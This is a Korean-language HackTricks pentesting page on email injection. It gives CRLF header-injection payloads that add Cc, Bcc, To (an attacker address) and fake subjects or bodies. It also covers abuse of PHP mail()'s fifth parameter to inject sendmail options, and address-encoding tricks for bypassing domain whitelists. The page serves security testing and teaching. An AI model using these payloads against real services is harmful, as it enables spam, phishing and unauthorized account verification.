# 이메일 인젝션 {{#include ../banners/hacktricks-training.md}} ## 발송된 이메일에 인젝션 ### 발신자 인자 뒤에 Cc 및 Bcc 인젝션 ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` 메시지는 수신자 및 recipient1 계정으로 전송됩니다. ### Inject argument ``` From:sender@domain.com%0ATo:attacker@domain.com ``` 메시지는 원래 수신자와 공격자 계정으로 전송됩니다. ### Inject Subject argument ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` 가짜 제목은 원래 제목에 추가되며, 경우에 따라 이를 대체할 수 있습니다. 이는 메일 서비스의 동작에 따라 다릅니다. ### 메시지 본문 변경 두 줄 피드를 삽입한 다음, 메시지 본문을 변경하기 위해 메시지를 작성합니다. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### PHP mail() 함수 악용 ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### 5번째 매개변수 ($additional_parameters) 이 섹션은 **공격자가 이 매개변수를 제어한다고 가정할 때 이를 악용하는 방법**에 기반합니다. 이 매개변수는 PHP가 바이너리 sendmail을 호출하는 명령줄에 추가될 것입니다. 그러나 `escapeshellcmd($additional_parameters)` 함수로 세척될 것입니다. 이 경우 공격자는 **sendmail에 대한 추가 매개변수를 주입할 수 있습니다**. #### /usr/sbin/sendmail 구현의 차이점 **sendmail** 인터페이스는 시스템에 설치된 **MTA 이메일 소프트웨어**(Sendmail, Postfix, Exim 등)에 의해 **제공됩니다**. 기본 기능(-t -i -f 매개변수 등)은 호환성 이유로 **같지만**, 설치된 MTA에 따라 **다른 기능과 매개변수**는 크게 다릅니다. 다음은 sendmail 명령/인터페이스의 다양한 매뉴얼 페이지의 몇 가지 예입니다: - Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html - Postfix MTA: http://www.postfix.org/mailq.1.html - Exim MTA: https://linux.die.net/man/8/eximReferences **sendmail** 바이너리의 출처에 따라 이를 악용하고 **파일을 유출하거나 임의의 명령을 실행하는** 다양한 옵션이 발견되었습니다. [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)에서 확인하세요. ## 이메일 이름에 주입 > [!CAUTION] > 임의의 도메인 이름(예: Github, Gitlab, CloudFlare Zero trust...)으로 서비스에 계정을 생성하고, 확인 이메일을 수신하여 이를 확인하면 피해 회사의 민감한 위치에 접근할 수 있을 수 있습니다. ### 이메일의 무시된 부분 기호: **+, -** 및 **{}**는 드물게 태그 지정에 사용될 수 있으며 대부분의 이메일 서버에서 무시됩니다. - 예: john.doe+intigriti@example.com → john.doe@example.com **괄호 () 사이의 주석**은 시작 또는 끝에 있을 경우에도 무시됩니다. - 예: john.doe(intigriti)@example.com → john.doe@example.com ### 화이트리스트 우회

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

### 인용

### IP 대괄호 안에 IP를 도메인 이름으로 사용할 수도 있습니다: - john.doe@\[127.0.0.1] - john.doe@\[IPv6:2001:db8::1] ### 이메일 인코딩 [**이 연구**](https://portswigger.net/research/splitting-the-email-atom)에서 설명한 바와 같이, 이메일 이름은 인코딩된 문자를 포함할 수도 있습니다: - **PHP 256 오버플로우**: PHP `chr` 함수는 문자가 양수가 될 때까지 256을 계속 추가한 후 `%256` 연산을 수행합니다. - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @` > [!TIP] > 이 트릭의 목표는 `RCPT TO:<"collab@psres.net>collab"@example.com>`와 같은 주입으로 끝나는 것입니다.\ > 이는 확인 이메일을 예상된 이메일 주소와 다른 이메일 주소로 보내게 하여 이메일 이름 안에 다른 이메일 주소를 삽입하고 이메일을 보낼 때 구문을 깨뜨리게 합니다. 다양한 인코딩: ```bash # Format =? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com # =? -> Start of encode # utf-8 -> encoding used # ? -> separator # q -> type of encoding # ? -> separator # =41=42=43 -> Hex encoded data # ?= end of encoding # Other encodings, same example: # iso-8859-1 =?iso-8859-1?q?=61=62=63?=hi@example.com # utf-8 =?utf-8?q?=61=62=63?=hi@example.com # utf-7 =?utf-7?q??=hi@example.com # q encoding + utf-7 =?utf-7?q?&=41?=hi@example.com # base64 =?utf-8?b?QUJD?=hi@example.com # bas64 + utf-7 =?utf-7?q??=hi@example.com #punycode x@xn--svg/-9x6 → x@